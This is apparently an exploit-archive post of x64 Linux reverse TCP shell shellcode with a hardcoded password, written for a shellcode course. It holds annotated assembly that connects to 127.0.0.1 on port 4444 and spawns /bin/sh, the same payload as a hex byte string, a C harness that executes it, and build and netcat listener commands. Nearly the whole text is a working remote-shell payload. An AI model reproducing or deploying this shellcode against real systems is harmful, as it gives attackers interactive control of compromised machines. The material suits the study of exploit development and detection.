Linux TCP Reverse Shell Shellcode

Linux TCP Reverse Shell Shellcode

/*---------------------------------------------------------------------------------------------------------------------
/*
*Title:            tcp reverse shell with password polymorphic version 122 bytes
*Author:           Sathish kumar
*Contact:          https://www.linkedin.com/in/sathish94
*Copyright:        (c) 2016 iQube. (http://iQube.io)
*Release Date:     January 29, 2016
*Description:      x64 Linux reverse TCP port shellcode on port 4444 with reconfigurable password
*Tested On:        Ubuntu 14.04 LTS
*SLAE64-1408
*Build/Run:        gcc -fno-stack-protector -z execstack filename.c -o filename
*                   ./bindshell
*                   nc -l 4444 -vvv
* 


global _start

_start:
    
    xor rax, rax    ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases
  xor rsi, rsi 
  mul rsi
  add rcx, 0x3       
  push byte 0x2   ;pusing argument to the stack
  pop rdi         ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO
  inc esi         ; already rsi is 0 so incrementing the rsi register will make it 1
  push byte 0x29  ; pushing the syscall number into the rax by using stack
  pop rax
  syscall
  
  ; copying the socket descripter from rax to rdi register so that we can use it further 

  xchg rax, rdi
  
  ; server.sin_family = AF_INET 
  ; server.sin_port = htons(PORT)
  ; server.sin_addr.s_addr = INADDR_ANY
  ; bzero(&server.sin_zero, 8)
  ; setting up the data sctructure
  
  xor rax, rax
  push rax                         ; bzero(&server.sin_zero, 8)
  mov ebx , 0xfeffff80             ; ip address 127.0.0.1 "noted" to remove null
  not ebx
  mov dword [rsp-4], ebx
  sub rsp , 4                      ; adjust the stack
  push word 0x5c11                 ; port 4444 in network byte order
  push word 0x02                   ; AF_INET
  push rsp
  pop rsi
  
  
  push 0x10
  pop rdx
  push 0x2a
  pop rax
  syscall
  
  push 0x3                           
  pop rsi                ; setting argument to 3 



duplicate:
    dec esi                            
    mov al, 0x21                       ;duplicate syscall applied to error,output and input using loop
    syscall
    jne duplicate
    
password_check:
  
  push rsp
  pop rsi
  xor rax, rax   ; system read syscall value is 0 so rax is set to 0
  syscall
  push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded
  pop rax
  lea rdi, [rel rsi]
  scasd           ; comparing the user input and stored password in the stack
  
  
    
execve:                                      ; Execve format  , execve("/bin/sh", 0 , 0)
     xor rsi , rsi
     mul rsi                                 ; zeroed rax , rdx register 
     push ax                                 ; terminate string with null
     mov rbx , 0x68732f2f6e69622e            ; "/bin//sh"  in reverse order 
     inc rbx
     add rcx, 2
     push rbx
     push rsp
     pop rdi                                 ; set RDI
     push byte 0x3b                          ; execve syscall number (59)
     pop rax
     syscall

*/
#include <stdio.h>
#include <string.h>

unsigned char code[] =\
"\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc1\x03\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x48\x31\xc0\x50\xbb\x80\xff\xff\xfe\xf7\xd3\x89\x5c\x24\xfc\x48\x83\xec\x04\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x54\x5e\x48\x31\xc0\x0f\x05\x68\x68\x61\x63\x6b\x58\x48\x8d\x3e\xaf\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2e\x62\x69\x6e\x2f\x2f\x73\x68\x48\xff\xc3\x48\x83\xc1\x02\x53\x54\x5f\x6a\x3b\x58\x0f\x05";
main()
{
   printf("Shellcode Length: %d\n", (int)strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}